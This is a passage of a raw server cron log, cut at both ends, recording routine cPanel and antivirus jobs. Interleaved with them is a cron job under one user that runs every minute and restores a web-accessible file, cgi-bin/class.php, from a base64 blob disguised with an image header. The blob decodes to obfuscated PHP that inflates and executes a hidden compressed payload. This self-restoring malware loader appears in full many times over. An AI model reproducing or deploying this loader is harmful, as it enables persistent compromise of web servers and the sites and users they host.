fi; chmod 444 "$fp")
Sep  1 03:36:01 server CROND[4198]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:37:01 server CROND[4831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:37:01 server CROND[4832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:37:01 server CROND[4833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:38:01 server CROND[5475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:38:01 server CROND[5476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:38:01 server CROND[5477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:39:01 server CROND[5855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:39:01 server CROND[5857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:39:01 server CROND[5858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:39:01 server CROND[5859]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 03:40:01 server CROND[6245]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:40:01 server CROND[6248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:40:01 server CROND[6256]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:40:01 server CROND[6259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:40:01 server CROND[6257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:40:01 server CROND[6258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:40:01 server CROND[6262]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:40:01 server CROND[6261]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:41:01 server CROND[7076]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:41:01 server CROND[7077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:41:01 server CROND[7078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:42:01 server CROND[7559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:42:01 server CROND[7560]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 03:42:01 server CROND[7562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:42:01 server CROND[7561]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:43:01 server CROND[7946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:43:01 server CROND[7947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:43:01 server CROND[7945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:44:01 server CROND[8309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:44:01 server CROND[8310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:44:01 server CROND[8311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:45:01 server CROND[8701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:45:01 server CROND[8702]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:45:01 server CROND[8706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:45:01 server CROND[8716]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:45:01 server CROND[8719]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:45:01 server CROND[8720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:45:01 server CROND[8717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:46:01 server CROND[9536]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:46:01 server CROND[9538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:46:01 server CROND[9537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:46:53 server run-parts(/etc/cron.daily)[9951]: finished imunify-antivirus.cron
Sep  1 03:46:53 server run-parts(/etc/cron.daily)[30209]: starting logclean
Sep  1 03:46:53 server run-parts(/etc/cron.daily)[9963]: finished logclean
Sep  1 03:46:53 server run-parts(/etc/cron.daily)[30209]: starting logrotate
Sep  1 03:46:54 server run-parts(/etc/cron.daily)[9980]: finished logrotate
Sep  1 03:46:54 server run-parts(/etc/cron.daily)[30209]: starting maldet
Sep  1 03:47:01 server CROND[10546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:47:01 server CROND[10547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:47:01 server CROND[10548]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:48:01 server CROND[10928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:48:01 server CROND[10929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:48:01 server CROND[10930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 